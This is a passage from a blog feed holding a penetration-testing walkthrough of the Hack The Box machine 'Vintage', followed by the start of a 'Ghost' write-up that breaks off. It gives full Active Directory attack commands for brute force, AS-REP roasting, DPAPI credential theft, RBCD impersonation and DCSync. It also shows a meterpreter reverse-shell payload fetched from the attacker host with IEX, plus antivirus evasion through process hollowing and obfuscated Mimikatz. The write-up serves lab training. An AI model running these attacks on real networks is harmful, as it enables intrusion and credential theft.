src="https://cdn-images-1.medium.com/max/1024/1*At5dTrFPCw1Z7D7FOep14w.png" /></figure><p>If you want to check, you can use smbclient</p><pre>smbclient.py -k vintage.htb/P.Rosa:Rosaisbest123@dc01.vintage.htb</pre><p>If any errors happened you can use</p><pre>smbclient.py -k vintage.htb/P.Rosa:Rosaisbest123@dc01.vintage.htb -dc-ip dc01.vintage.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fnBlXfBKSRtb9VMDgNi0rw.png" /></figure><p>We could use SMB with -rid-brute for user and groups rid bruteforce to collect valid machine accounts but we have gathered them before from LDAP</p><pre>nxc smb dc01.vintage.htb -d vintage.htb -u P.Rosa -k --use-kcache --rid-brute | grep SidTypeUser | cut -d: -f2 | cut -d \\ -f2 | cut -d&#39; &#39; -f1</pre><h3>Exploitation</h3><h4>Using Bloodhound to visualize environment structure</h4><p>Since we do not have direct access to any machine, we use the BloodHound Python ingestor to gather information about the domain.</p><pre>bloodhound-python -d vintage.htb -c All -ns 10.10.11.45 --zip -u &#39;P.Rosa&#39; -p &#39;Rosaisbest123&#39; -k</pre><p>or using netexc</p><pre>nxc ldap dc01.vintage.htb -d vintage.htb -u P.Rosa -p Rosaisbest123 -k --bloodhound --collection All --dns-server 10.10.11.45</pre><p>However, after analyzing the collected data, no significant attack paths are identified using the current user’s privileges.</p><h4>Targeting Pre-Windows 2000 Computers</h4><p>From the enumeration phase, we identify the presence of the <strong>Pre-Windows 2000 Compatible Access</strong> group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qsbQQ7HHuzkUuZJjw4JHBg.png" /></figure><p>We now focus on discovering Pre-Windows 2000 computers.<a href="https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers#pre-windows-2000-computers">​</a></p><blockquote>When a new computer account is configured as “pre-Windows 2000 computer”, its password is set based on its name (i.e. lowercase computer name without the trailing $). When it isn&#39;t, the password is randomly generated.</blockquote><p>We can use <a href="https://github.com/garrettfoster13/pre2k">pre2k</a> to bruteforce computers on the domain, we just need a list of valid accounts to bruteforce them</p><p>To identify Pre-Windows 2000 computers and attempt to access them, we use the <a href="https://github.com/garrettfoster13/pre2k">pre2k</a> tool with a list of valid domain accounts we gathered before. This allows us to brute-force the machine account passwords.</p><pre>pre2k unauth -d vintage.htb -dc-ip 10.10.11.45 -save -inputfile users.list</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gpJwmVYdqM04Kd6qpNQx2w.png" /></figure><p>The attack is successful, and we gain access to the FS01$ machine account.</p><p>Marking FS01$ as Owned in bloodhound, After obtaining access to the FS01$ machine account, we analyze potential attack paths using BloodHound.</p><p>The analysis reveals that FS01$ is a member of the DOMAIN COMPUTERS group, which has the <strong>ReadGMSAPassword</strong> privilege on the GMSA01$ Group Managed Service Account (GMSA).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tm5TRqgkImTOOfKopF7FqQ.png" /></figure><blockquote>GMSA01$ Group Managed Service Accounts are a special type of Active Directory object, where the password for that object is managed by and automatically changed by Domain Controllers on a set interval</blockquote><p>Using the <strong>bloodyAD </strong>with<strong> </strong>FS01$ ticket, to query the domain for the msDS-ManagedPassword attribute of the GMSA01$ account. This attribute stores the encrypted password for the GMSA</p><pre>bloodyAD --host dc01.vintage.htb --domain &quot;vintage.htb&quot; --dc-ip 10.10.11.45 -k get object &#39;GMSA01$&#39; --attr msDS-ManagedPassword</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NCzZ1yngUzn_t_LV3RwIiA.png" /></figure><p>The attack is successful, and we extract the hash of the GMSA01$ account.</p><p>With the hash of the GMSA01$ account, we can obtain a TGT for the account and export it.</p><pre>getTGT.py vintage.htb/&#39;GMSA01$&#39; -hashes aad3b435b51404eeaad3b435b51404ee:7dc430b95e17ed6f817f69366f35be06</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OJjmV0aB_wjuauPUlkycpw.png" /></figure><p>Returning to BloodHound after obtaining a TGT for GMSA01$, we identified that:</p><ol><li><strong>GMSA01$</strong> has <strong>GenericWrite</strong> access over the <strong>SERVICEMANAGERS</strong> group.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O4uolcRRwXotG5fdm8CSqw.png" /></figure><p>2. The <strong>SERVICEMANAGERS</strong> group holds <strong>GenericAll</strong> permissions over three service accounts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Cg9XoyDlB067yj2NhpMnA.png" /></figure><p>To exploit this chain, we can add our controlled user, P.Rosa, to the <strong>GenericWrite</strong> group. This provides P.Rosa with <strong>GenericAll</strong> permissions over the three SVC accounts.</p><p>Using bloodyAD to add P.Rosa to the group</p><pre>bloodyAD  --host dc01.vintage.htb --domain vintage.htb --dc-ip 10.10.11.45 -k add groupMember &quot;SERVICEMANAGERS&quot; &quot;P.Rosa&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HLl7J1MyLYehc70KUCqIEg.png" /></figure><p>To confirm the addition, we query the members of the group</p><pre>bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k get object &quot;SERVICEMANAGERS&quot; | grep &#39;P.Rosa&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RyEYbG2SiwZ2kBSwT27yXQ.png" /></figure><p>Once P.Rosa is added to the group, we have to request a new TGT for P.Rosa to reflect the updated permissions</p><pre>getTGT.py vintage.htb/&#39;P.Rosa&#39;:&#39;Rosaisbest123&#39;<br>export KRB5CCNAME=P.Rosa.ccache</pre><p>With the <strong>GenericAll</strong> permissions over the SVC accounts, we can:</p><ol><li>Directly change the accoount’ passwords to gain control of their accounts.</li><li>Add the DONT_REQ_PREAUTH attribute to enable AS-REP Roasting, allowing us to retrieve their hashes for offline cracking and identify their plaintext passwords for password spraying across the domain.</li></ol><p>After analysis, the SVC accounts do not provide direct attack paths in BloodHound. Therefore, instead of Force Changing their Passwords, it is more effective to attempt password spraying with the retrieved credentials to identify other attack paths.</p><h4><strong>AS-REP hashes</strong></h4><p>Starting adding the DONT_REQ_PREAUTH attribute to enable AS-REP Roasting</p><pre>bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k add uac SVC_ARK -f DONT_REQ_PREAUTH<br>bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k add uac SVC_SQL -f DONT_REQ_PREAUTH<br>bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VNGh8l9JkAUbtdEMAEy91w.png" /></figure><p>Then Requesting user accounts hashes using</p><pre>kerbrute_linux_amd64 userenum --dc 10.10.11.45 -d vintage.htb users.list</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y9mSjuuE1U29AuSfLJW4FA.png" /></figure><p>OR</p><pre>GetNPUsers.py -request -outputfile hashes.txt -format hashcat -usersfile users.list vintage.htb/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7JbBkSf2QxlQ6c8BbOL19A.png" /></figure><p>Start cracking the obtained hashes with hashcat</p><pre>hashcat hashes.txt /usr/share/wordlists/rockyou.txt --force</pre><p>Unfortunately hashcat finished without cracking any of the both obtained hashes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*71lzsZEj1JLy9Iy3B807GQ.png" /></figure><p>Hashes for SVC_ARK and SVC_LDAP were obtained, but SVC_SQL was missing.</p><p>Checking BloodHound revealed that SVC_SQL was disabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*EcC-iUlxNKlheSCaUglBUw.png" /></figure><p>To enable the SVC_SQL account</p><pre>bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VPZ8g5AilsTk1TDMkCeDeg.png" /></figure><p>Reattempting AS-REP Roasting Once the SVC_SQL account was enabled, hashes were successfully retrieved</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4waKp80ygSMCLllq21th6g.png" /></figure><p>Hash has successfully cracked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cbl82kgR7Xs58u7eJC5EIA.png" /></figure><p>Spraying the obtained password on the list of valid users we have</p><pre>kerbrute_linux_amd64 passwordspray --dc 10.10.11.45 -d vintage.htb users.list  Zer0the0ne </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W4mCIO9zTcf4RXk9R7hp7A.png" /></figure><p>We Found a valid user from spraying</p><h3>Privilege Escalation</h3><p>We have User C.Neri credentials, Start by requesting a TGT for this user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p7zbARapG7CSW1nfxJtIow.png" /></figure><p>C.Neri is member of the REMOTE MANAGEMENT USERS group so we can try use Evil-WinRM to access it</p><ol><li>First request a ticket</li></ol><pre>getTGT.py vintage.htb/C.Neri:Zer0the0ne <br>export KRB5CCNAME=C.Neri.ccache</pre><p>2. Then use Evil-WinRM for access</p><pre>evil-winrm -i dc01.vintage.htb -r vintage.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OyAyR7ePiaSeV6PU5Mxnxw.png" /></figure><p>You could keep using Evil-WinRM, but it isn’t stable on this machine, especially for heavy enumeration and the presence of antivirus. You might need to switch to another shell or use Meterpreter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OIf5TgWhAAFKy009pQGXRA.png" /></figure><p>Using <a href="https://gist.githubusercontent.com/qtc-de/1ecc57264c8270f869614ddd12f2f276/raw/c5810a377af12b21629f25cd60b2e9c42713b8e8/DynWin32-ShellcodeProcessHollowing.ps1"><strong>DynWin32-ShellcodeProcessHollowing.ps1</strong></a><strong>, </strong>This<strong> </strong>script performs shellcode-based process hollowing by injecting shellcode into a trusted process (svchost.exe) using dynamic Win32 API lookups. This technique bypasses antivirus detection while ensuring stealth and execution stability.</p><ol><li>Generate the shell code using msfvenom</li></ol><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.75 LPORT=4444 -f psh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jEQ_eneMM-kNVLTHbj_ajg.png" /></figure><p>We just need the shellcode itself: 0xfc,0x48,..,0xff,0xd5</p><p>2. Adjusting the powershell shellcode <br>Download this script <a href="https://gist.githubusercontent.com/qtc-de/1ecc57264c8270f869614ddd12f2f276/raw/c5810a377af12b21629f25cd60b2e9c42713b8e8/DynWin32-ShellcodeProcessHollowing.ps1"><strong>DynWin32-ShellcodeProcessHollowing.ps1</strong></a><strong> </strong>and place the generated shellcode from the previous step into the $SHELLCODE byte array.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aWsy8eCJiKcTP7OKQ8HJ6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ghGXK3KpKzdXQDXhx-c9TA.png" /></figure><p>3. Start the Python server</p><pre>sudo python3 -m http.server 80</pre><p>4. Start Metasploit C2 server</p><pre>msfconsole -x &quot;use exploits/multi/handler; set lhost 10.10.16.75; set lport 4444; set payload windows/x64/meterpreter/reverse_tcp; exploit&quot;</pre><p>4. Execute the shellcode:<br>In Evil-WinRM, download and trigger the shell.</p><pre>powershell &quot;IEX(new-object System.Net.WebClient).Downloadstring(&#39;http://10.10.16.75:80/shell.ps1&#39;)&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HCXqXe8wOctUh0bPY_mHdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sxVfqB_hW7y2xwPHdIKoEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XRiGQicNsCIg2smCrhAGSg.png" /></figure><h4><strong>Extracting DPAPI Backup Keys</strong></h4><p>After some time searching for a lead and manually enumerating the machine (as I couldn’t run most of the known tools due to the presence of antivirus blocking and deleting them if they touched the disk), I found encrypted DPAPI-related files under the C:\Users\C.Neri\AppData\ directory.</p><p><strong>Data Protection API (DPAPI)</strong><br>On Windows, credentials stored in the Windows Credentials Manager are encrypted using Microsoft’s Data Protection API (DPAPI) and saved as “blob” files within the user’s AppData folder.<br>Within a domain, the domain controller’s master key is used to encrypt these blobs. By extracting the private key from the domain controller, it is possible to decrypt all the blobs, thereby recovering all the secrets stored in the Windows Credentials Manager across all workstations in the domain.</p><p>Two things needed for this process</p><ol><li><strong>Master Key</strong></li></ol><pre>Get-ChildItem C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EICJrYjO5A4U54ZT-YuuXA.png" /></figure><p>2. The blob or the backup</p><pre>Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Local\Microsoft\Credentials\<br>Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rtxmsmfA_ItOb_w2U01jEQ.png" /></figure><p>We need the Master Key to decrypt the blob and extract the secrets stored within. To extract the Master Key, we need valid credentials for the user.</p><p>There are several ways to do this: using <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a>, <a href="https://github.com/GhostPack/SharpDPAPI">SharpDPAPI</a>, or by downloading the files locally and using <a href="https://github.com/fortra/impacket/blob/master/examples/dpapi.py">dpapi.py</a> from Impacket to decrypt everything. The last option is the most reliable at the moment, as it won’t interact with the disk, ensuring the antivirus doesn’t interfere with our work.</p><p>I would Mention Both ways for more knowledge</p><h4>1. Offline Cracking</h4><p>We need to obtain the files and transfer them to our machine.</p><ul><li><strong>Download DPAPI-protected blobs:<br></strong>To find the DPAPI-protected blobs</li></ul><pre>Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MhXgJK6MphNXB8y-XL5CNA.png" /></figure><p>These files are hidden, so we need to change the file permissions to be able to download them</p><pre>Set-ItemProperty -Path &quot;C:\Users\C.Neri\AppData\Roaming\microsoft\credentials\C4BB96844A5C9DD45D5B6A9859252BA6&quot; -Name Attributes -Value ([System.IO.FileAttributes]::Normal)</pre><p>You can download them directly if you’re using Evil-WinRM or the Meterpreter shell</p><pre>cd C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials<br>download C4BB96844A5C9DD45D5B6A9859252BA6</pre><p>If you&#39;re using a limited shell, you can use Netcat, Invoke-WebRequest, or create an SMB server and copy the files there.</p><ul><li><strong>Download Master Keys:</strong></li></ul><p>To retrieve the master keys:</p><pre>Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d2tknEghRxZmbVzj6NHgrQ.png" /></figure><p>Download both files to check them. To change the file permissions:</p><pre>Set-ItemProperty -Path &quot;C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b&quot; -Name Attributes -Value ([System.IO.FileAttributes]::Normal)</pre><p>Then, download the files</p><pre>cd C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115<br>download 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b</pre><p>After that we could crack these files locally</p><ul><li><strong>Decrypt the Master Key</strong></li></ul><pre>dpapi.py masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*MLVREjYySDRxQ-xIWpKTog.png" /></figure><ul><li><strong>Decrypt the DPAPI Blob</strong></li></ul><pre>dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GKEUWwh7aD49A7B1Co-LRg.png" /></figure><h4>2. Using Mimikatz</h4><p>If you have an obfuscated version of Mimikatz, you can use it directly. If not, it’s essential to learn how to obfuscate your tools for later use. For now, we will use <a href="https://github.com/T4y1oR/RingQ.git"><strong>RingQ</strong></a> to automate the process, as heavy obfuscation is not necessary at this stage.</p><ul><li>Download the Tool from github</li><li>Place <strong>Mimikatz.exe</strong> in the same folder as the tool.</li><li>Use <strong>Create.exe</strong> to create the obfuscated payload to evade detection.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*zv3pA-4rOUxjfovq-lVZ3g.png" /></figure><p>Once tested and confirmed to be working, proceed with uploading the files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*ewLjPQGQA9HKcTStkvHYww.png" /></figure><ul><li><strong>Upload the loader and the </strong><strong>main.txt file to the machine</strong>.<br>Ensure both the loader and obfuscated code are in the same directory.</li></ul><pre>upload /htb/Vintage/www/RingQ.exe<br>upload /htb/Vintage/www/main.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1nsByDFu-v0W7RvMAGLvRw.png" /></figure><ul><li>Run the loader to load the executable.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wEoAdPP3alpfKruoV_9EKA.png" /></figure><ul><li><strong>Decrypt the Master Key<br></strong>To decrypt the master key, use the following Mimikatz command:</li></ul><pre>dpapi::masterkey /in:C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\4dbf04d8-529b-4b4c-b4ae-8e875e4fe847 /sid:S-1-5-21-4024337825-2033394866-2055507597-1115 /password:Zer0the0ne /protected</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*z8IxFWJeqHrmVL2H-7lidA.png" /></figure><ul><li><strong>Decrypt the DPAPI Blob<br></strong>To decrypt the DPAPI blob, use the following command:</li></ul><pre>dpapi::cred /in:C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\C4BB96844A5C9DD45D5B6A9859252BA6 /masterkey:f8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A6JWCSiMU1U1Ptk3xR0qzg.png" /></figure><p>We now have credentials for <strong>C.Neri_adm </strong>blob, Test these creds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*ruXPQSlIiSK1X_YPCWaLPw.png" /></figure><p>Mark this user as <strong>Owned</strong> in BloodHound and analyze the possible attack paths.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gWGPl106Wb939pSVZ6aJCQ.png" /></figure><p>Our user has <strong>GenericWrite</strong> and <strong>AddSelf</strong> DACL privileges over the <strong>DELEGATEDADMINS</strong> group. This group has the <strong>AllowedToAct</strong> privilege on the <strong>DC01.vintage.htb</strong> machine, which in turn has <strong>DCSync</strong> privileges over the <strong>vintage.htb</strong> domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VMtbQuA3643s2xT2EPWfAA.png" /></figure><p>To exploit the <strong>AllowedToAct</strong> privilege, we can abuse <strong>Resource-Based Constrained Delegation (RBCD)</strong> by forging a TGS. This allows us to execute a modified <strong>S4U2self </strong>/ <strong>S4U2proxy</strong> abuse chain to impersonate an administrative user on the target system and obtain a valid service ticket “as” that user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*867Y87tWKrUhpnVxWwJI8A.png" /></figure><p>The msDS-AllowedToActOnBehalfOfOtherIdentity attribute is used to specify which security principals (users, computers, or groups) are allowed to impersonate other users or services on behalf of another identity.</p><p>It is critical to note that the principal added to the <strong>msDS-AllowedToActOnBehalfOfOtherIdentity</strong> DACL <em>must</em> have an <strong>SPN</strong> set in order to successfully abuse the S4U2self/S4U2proxy process.</p><p>For this, we can leverage the <strong>SQL_SVC</strong> account as we already have its credentials, and we can easily configure its SPN.</p><h4>The steps for the attack are as follows:</h4><ol><li>Using P.Rosa priv as we added to SERVICEMANAGERS group, Add SPN to the SQL_SVC user account, We know from before it is disabled and there are clean up script running on the machine so we have to redo this once more quickly</li></ol><p>Note: We have to do all steps quickly one by one and take care of the ticket of have and which user has the priv</p><pre># Enabling SVC_SQL account<br>bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE<br>#Set servicePrincipalName for SVC_SQL<br>bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k set object &#39;SVC_SQL&#39; servicePrincipalName -v &#39;cifs/sql&#39;</pre><p>2. Request <strong>C.Neri_adm </strong>TGT</p><p>3. Add <strong>sql_svc </strong>user to the <strong>DELEGATEDADMINS</strong> group using the <strong>GenericWrite</strong> permissions of <strong>C.Neri_adm</strong>.</p><pre>bloodyAD --host dc01.vintage.htb -d vintage.htb --dc-ip 10.10.11.45 -k add groupMember &quot;DELEGATEDADMINS&quot; &quot;SVC_SQL&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i7dkhy7qLam8pakUMbvlpw.png" /></figure><p>4. Request a <strong>TGT </strong>for <strong>sql_svc</strong> inheriting the newly assigned <strong>AllowedToAct</strong> privilege.</p><p>5. Abuse <strong>RBCD</strong> by forging a <strong>TGS ticket</strong> to impersonate a high-privilege administrative user.</p><p>We have two users in the <strong>Domain Admins</strong> group: <strong>Administrator</strong> and <strong>L.BIANCHI_ADM</strong>. If one user’s ticket does not work, we can attempt the other.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*LErwvxcIk5I7_UbkH8h3Fw.png" /></figure><ul><li>To request a TGS impersonating the <strong>Administrator</strong>:</li></ul><pre>getST.py -dc-ip 10.10.11.45 -spn &#39;cifs/dc01.vintage.htb&#39; -impersonate Administrator -k &#39;vintage.htb/svc_sql:Zer0the0n&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-23O3UqycSsxLzMI9EVI-A.png" /></figure><ul><li>To request a TGS impersonating L.BIANCHI_ADM</li></ul><pre>getST.py -dc-ip 10.10.11.45 -spn &#39;cifs/dc01.vintage.htb&#39; -impersonate L.BIANCHI_ADM -k &#39;vintage.htb/svc_sql:Zer0the0n&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1jUDKdM8sEVAdEmQRx-78Q.png" /></figure><p>6. Execute a DCSync attack to extract domain hashes</p><p>Once we have impersonated a high-privilege user, use the forged TGS to perform a <strong>DCSync</strong> attack.</p><pre>secretsdump.py -k dc01.vintage.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*LwGK8LV8B8d_0mdaaVPkVA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lbz_LfX0VfScvVr2i-3-bw.png" /></figure><p>7. <strong>Connect to the target machine</strong><br>After testing, the <strong>Administrator</strong> ticket or hash could not be used for remote shell access, as it lacks remote management privileges. Instead, we can use the <strong>L.BIANCHI_ADM</strong> ticket to gain access.</p><pre>wmiexec.py -k -no-pass L.BIANCHI_ADM@dc01.vintage.htb -dc-ip 10.10.11.45</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4n9n5oBVf6BHJrWKf1cqRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bGGy73GcVrAy4Oub8TXBlQ.png" /></figure><p>Or using smbexec</p><pre>smbexec.py -k -no-pass L.BIANCHI_ADM@dc01.vintage.htb -dc-ip 10.10.11.45</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L-xoKQR81KcRIx7Zal0YsA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HYliUhyIS9oe9wVyVPmeUw.png" /></figure><p>If you prefer to use <strong>Evil-WinRM</strong>, you must request a service ticket for <strong>HTTP</strong> instead of <strong>CIFS</strong></p><pre>getST.py -dc-ip 10.10.11.45 -spn &#39;HTTP/dc01.vintage.htb&#39; -impersonate L.BIANCHI_ADM -k &#39;vintage.htb/svc_sql:Zer0the0n&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7PBa0qZQLbO9QDbpW9yN2w.png" /></figure><p>The entire process must be executed quickly, one step after another, to ensure success and maintain consistency across the attack phases. If any errors occur during the process, follow these steps to troubleshoot:</p><ol><li>Verify for whom the exported Kerberos ticket using klist.</li><li>Check the <strong>krb5</strong> configuration.</li><li>Kerberos only works with the FQDN so you have to use it like dc01.vintage.htb</li><li>Ensure there is no significant time difference between your local machine and the target system.</li><li>If issues persist, consider requesting a reset of the target machine to restore its state.</li></ol><p>Additionally, I’ve created a script to automate the entire attack process. You can find it here:</p><p><a href="https://github.com/Zyad-Elsayed/vintage.htb">https://github.com/Zyad-Elsayed/vintage.htb</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IAN1U4BceNpoqjZa8RyAbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*nNi2EtsqRbSpJFlqT1SgHA.png" /><figcaption><a href="https://www.hackthebox.com/achievement/machine/1862550/637">https://www.hackthebox.com/achievement/machine/1862550/637</a></figcaption></figure><h3>Resources</h3><ul><li><a href="https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets">DPAPI secrets | The Hacker Recipes</a></li><li><a href="https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd">(RBCD) Resource-based constrained | The Hacker Recipes</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0074003d152c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ghost]]></title>
            <link>https://b4l3rion.medium.com/ghost-9aa2ffacb83a?source=rss-5913a0fea0c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/9aa2ffacb83a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Zyad Elsayed]]></dc:creator>
            <pubDate>Sat, 05 Apr 2025 20:06:02 GMT</pubDate>
            <atom:updated>2025-04-05T22:41:18.251Z</atom:updated>
            <content:encoded><![CDATA[<h4>Season 5: Last Machine — Insane</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hSjttuC4BmByPuNiDpROLA.jpeg" /><figcaption><a href="https://www.hackthebox.com/machines/ghost">https://www.hackthebox.com/machines/ghost</a></figcaption></figure><p>⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀ ⠀بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيم ِ</p><p>You can read this writeup with better format on my main blog :</p><p><a href="https://b4l3ri0n.github.io/posts/Ghost/">https://b4l3ri0n.github.io/posts/Ghost/</a></p><p>This is my comprehensive walkthrough for solving <em>Ghost</em>, an <strong>insane</strong> Active Directory machine on Hack The Box. This box combined <strong>web exploitation, authentication bypass, container pivoting, Active Directory attacks, and domain trust abuse</strong>, making it a <strong>demanding yet highly rewarding challenge</strong> that closely mirrors real-world penetration testing scenarios.</p><p>We started with <strong>no credentials</strong> and multiple <strong>web applications</strong> hosted on the target, with <strong>no direct access to Active Directory services</strong>. Through <strong>virtual host fuzzing</strong>, we discovered <strong>Gitea</strong> and an <strong>intranet application</strong>, leading us to an <strong>LDAP injection vulnerability</strong> in the intranet site. This allowed us to authenticate and extract <strong>credentials for a Gitea user</strong>, granting access to <strong>source code</strong> for both <strong>Ghost blog custom features and the intranet application</strong>.</p><p>Analyzing the source code, we uncovered a <strong>Local File Inclusion LFI</strong> vulnerability in a <strong>Ghost CMS development feature</strong>, enabling us to retrieve <strong>environment variables</strong> containing the <strong>DEV_INTRANET_KEY</strong>. The intranet application also had a <strong>command injection</strong> vulnerability, which we exploited using the <strong>developer key</strong> to gain a <strong>reverse shell</strong> inside a <strong>containerized environment</strong>. Moving laterally between containers, we found an <strong>active Kerberos ticket</strong>, which we used to authenticate to the domain.</p><p>Further enumeration on the <strong>intranet site</strong> revealed a <strong>forum post</strong> disclosing a <strong>DNS misconfiguration</strong>, which we leveraged to perform <strong>DNS spoofing</strong>. This allowed us to capture a <strong>user’s NTLM hash</strong>, crack it, and discover that this user had <strong>ReadGMSAPassword privileges</strong> over ADFS_GMSA$. Extracting the password, we executed a <strong>Golden SAML attack</strong>, granting us <strong>federated authentication as an administrator</strong> and access to the <strong>core site</strong>.</p><p>Inside the <strong>core site</strong>, we discovered an <strong>SQL Server Query Debugger</strong>, which led us to a <strong>linked MSSQL server</strong>. Exploiting this link, we found that our user had <strong>impersonation privileges over </strong><strong>sa</strong>, allowing us to gain a <strong>shell as 